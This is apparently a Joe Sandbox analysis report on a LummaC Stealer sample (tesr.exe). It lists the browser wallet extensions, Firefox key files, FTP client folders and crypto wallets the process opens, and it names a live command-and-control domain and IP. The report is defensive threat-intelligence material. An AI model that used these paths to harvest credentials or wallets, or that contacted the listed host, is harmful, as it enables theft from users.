Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\SysWOW64\dxdiag.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior

Source: Yara match	File source: 00000002.00000003.2241070978.0000000002C45000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dxdiag.exe PID: 5392, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: dxdiag.exe PID: 5392, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Link
tesr.exe	35%	Virustotal	Browse
tesr.exe	29%	ReversingLabs
tesr.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://mutterunurse.click/j	0%	Avira URL Cloud	safe
https://mutterunurse.click/api	0%	Avira URL Cloud	safe
https://mutterunurse.click/apie	0%	Avira URL Cloud	safe
https://mutterunurse.click/	0%	Avira URL Cloud	safe
https://mutterunurse.click/L	0%	Avira URL Cloud	safe
https://mutterunurse.click/A	0%	Avira URL Cloud	safe
mutterunurse.click	0%	Avira URL Cloud	safe
https://mutterunurse.click/api_	0%	Avira URL Cloud	safe
https://mutterunurse.click:443/api	0%	Avira URL Cloud	safe
https://mutterunurse.click/Q	0%	Avira URL Cloud	safe
https://mutterunurse.click/apivR	0%	Avira URL Cloud	safe
https://mutterunurse.click/b	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
mutterunurse.click	104.21.90.18	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dare-curbys.biz	false		high
impend-differ.biz	false		high
mutterunurse.click	true	Avira URL Cloud: safe	unknown
covery-mover.biz	false		high
https://mutterunurse.click/api	true	Avira URL Cloud: safe	unknown
dwell-exclaim.biz	false		high
zinc-sneark.biz	false		high
formy-spill.biz	false		high
se-blurry.biz	false		high
print-vexer.biz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mutterunurse.click/j	dxdiag.exe, 00000002.00000003.2288285003.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000002.2289289481.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mutterunurse.click/	dxdiag.exe, 00000002.00000003.2209512428.000000000500C000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2278524685.0000000002C47000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mutterunurse.click/apie	dxdiag.exe, 00000002.00000003.2224525421.000000000501E000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2224841744.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2224436080.000000000501B000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2225377449.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2226346264.0000000005021000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	dxdiag.exe, 00000002.00000003.2226701499.000000000500E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	dxdiag.exe, 00000002.00000003.2226701499.000000000500E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mutterunurse.click/api_	dxdiag.exe, 00000002.00000003.2262186574.000000000500F000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2237965926.000000000500F000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2261930463.000000000500C000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2251040585.0000000005011000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mutterunurse.click/A	dxdiag.exe, 00000002.00000003.2240921118.0000000005022000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2251040585.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2239478696.0000000005022000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2238186286.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2237874580.000000000501C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	dxdiag.exe, 00000002.00000003.2226701499.000000000500E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	dxdiag.exe, 00000002.00000003.2226410373.00000000052B0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mutterunurse.click/L	dxdiag.exe, 00000002.00000002.2289289481.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2288285003.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	dxdiag.exe, 00000002.00000003.2226701499.000000000500E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	dxdiag.exe, 00000002.00000003.2226701499.000000000500E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mutterunurse.click/Q	dxdiag.exe, 00000002.00000003.2224525421.000000000501E000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2224841744.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2224436080.000000000501B000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2225377449.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2226346264.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2237874580.000000000501C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	dxdiag.exe, 00000002.00000003.2226701499.000000000500E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mutterunurse.click:443/api	dxdiag.exe, 00000002.00000003.2224600032.000000000500E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	dxdiag.exe, 00000002.00000003.2226701499.000000000500E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mutterunurse.click/apivR	dxdiag.exe, 00000002.00000003.2288285003.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000002.2289289481.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	dxdiag.exe, 00000002.00000003.2226410373.00000000052B0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mutterunurse.click/b	dxdiag.exe, 00000002.00000003.2288285003.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000002.2289289481.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.90.18	mutterunurse.click	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589840
Start date and time:	2025-01-13 08:33:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	tesr.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 51% Number of executed functions: 33 Number of non-executed functions: 103
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 40.126.32.133, 20.190.160.14, 40.126.32.140, 40.126.32.134, 40.126.32.138, 40.126.32.72, 40.126.32.136, 40.126.32.68, 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): client.wns.windows.com, prdv4a.aadg.msidentity.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target tesr.exe, PID 2380 because there are no executed function
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:34:24	API Interceptor	8x Sleep call for process: dxdiag.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.90.18	setup.exe	Get hash	malicious	LummaC	Browse
	bFZYRLnRIz.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer	Browse
	GlobalCheats.exe	Get hash	malicious	LummaC, MicroClip	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	https://link.mail.beehiiv.com/ss/c/u001.dSnm3kaGd0BkNqLYPjeMfxWXllAYaBQ5sAn4OVD0j89GQGPZtwQlLugE_8c0wQMKfkpy5_wJ66BvE1Ognfzf5MlQMAeZ1qYs5mgwUBu3TAc6279Q43ISHz-HkVRC08yeDA4QvKWsqLTI1us9a0eXx18qeAibsZhjMMPvES-iG2zoVABKcwKIVWyx95VTVcFMSh6AEN3OCUfP_rXFvjKRbIPMuhn_dqYr8yUBKJvhhlJR9FhTpZPAULxzMbsYWp8k/4cu/JfECY1HwRl-ipvrNOktVcw/h23/h001.ibQl2N4tDD79TTzErix_sFWEGLTTuM6dTVMrTg3y5Dk	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse	199.232.214.172
	PCB - Lyell Highway Upgrades Queenstown to Strahan - March 2021.XLSM	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://satelite.nv-ec.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://support.te-wt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://www.flndmy.er-xu.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://www.support.ue-vt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://support.wt-nx.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://www.maps.tv-wt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://htpss-encontrar.bicicletasraper.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	WSLRT.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.134.197
	msit.msi	Get hash	malicious	LummaC Stealer	Browse	172.67.134.197
	Shipping Docs Waybill No 2009 xxxx 351.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	trow.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://encryption-deme-group.lomiraxen.ru/PdoodjcL/#Mvercauteren.william@deme-group.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://link.mail.beehiiv.com/ss/c/u001.dSnm3kaGd0BkNqLYPjeMfxWXllAYaBQ5sAn4OVD0j89GQGPZtwQlLugE_8c0wQMKfkpy5_wJ66BvE1Ognfzf5MlQMAeZ1qYs5mgwUBu3TAc6279Q43ISHz-HkVRC08yeDA4QvKWsqLTI1us9a0eXx18qeAibsZhjMMPvES-iG2zoVABKcwKIVWyx95VTVcFMSh6AEN3OCUfP_rXFvjKRbIPMuhn_dqYr8yUBKJvhhlJR9FhTpZPAULxzMbsYWp8k/4cu/JfECY1HwRl-ipvrNOktVcw/h23/h001.ibQl2N4tDD79TTzErix_sFWEGLTTuM6dTVMrTg3y5Dk	Get hash	malicious	Unknown	Browse	172.67.40.50
	g3.elf	Get hash	malicious	Unknown	Browse	1.1.1.1
	g5.elf	Get hash	malicious	Unknown	Browse	1.1.1.1
	rCHARTERREQUEST.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://app-nadexlxogi.webflow.io/	Get hash	malicious	Unknown	Browse	172.64.151.8

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	WSLRT.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.90.18
	msit.msi	Get hash	malicious	LummaC Stealer	Browse	104.21.90.18
	PCB - Lyell Highway Upgrades Queenstown to Strahan - March 2021.XLSM	Get hash	malicious	Unknown	Browse	104.21.90.18
	PCB - Lyell Highway Upgrades Queenstown to Strahan - March 2021.XLSM	Get hash	malicious	Unknown	Browse	104.21.90.18
	L7GNkeVm5e.exe	Get hash	malicious	LummaC	Browse	104.21.90.18
	sE5IdDeTp2.exe	Get hash	malicious	Unknown	Browse	104.21.90.18
	NDWffRLk7z.exe	Get hash	malicious	LummaC	Browse	104.21.90.18
	g3toRYa6JE.exe	Get hash	malicious	LummaC	Browse	104.21.90.18
	lBb4XI4eGD.exe	Get hash	malicious	LummaC	Browse	104.21.90.18
	UWYXurYZ2x.exe	Get hash	malicious	LummaC, Amadey, Babadeda, DanaBot, KeyLogger, LummaC Stealer, Poverty Stealer	Browse	104.21.90.18

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.77469193495392
TrID:	Win64 Executable GUI (202006/5) 91.80% Win64 Executable (generic) (12005/4) 5.46% Clipper DOS Executable (2020/12) 0.92% Generic Win/DOS Executable (2004/3) 0.91% DOS Executable Generic (2002/1) 0.91%
File name:	tesr.exe
File size:	12'735'488 bytes
MD5:	4f96b4d0061d45b08d73e3526d82630f
SHA1:	15d6d2445d55db393adf30f0bf7f4b649c098257
SHA256:	30bc5b4729f0ae6ea5e1eb44654e739040f29941b5e6d2436b10ae93a98e5e6b
SHA512:	6b50eb6e642adb840497b95e0dd5248054752027c15627c2a6262a4e7497c78d1a7eb7b1936c7d8c6f94557b99fcb465e5514f707e04f5f7cc1efee69216a372
SSDEEP:	393216:R34OXjrnjnEEQWbPbqeQ2K3G/JXa42gqf:R4I/njtQOr50Sqf
TLSH:	2CD6E1187E77EDCAB03DD022C61516334EB1A51C4625EEFA72E61794EE0B4127FCA278
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...q.Xg.........."..................n.........@.....................................f....`........................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140066e18
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6758B071 [Tue Dec 10 21:19:45 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
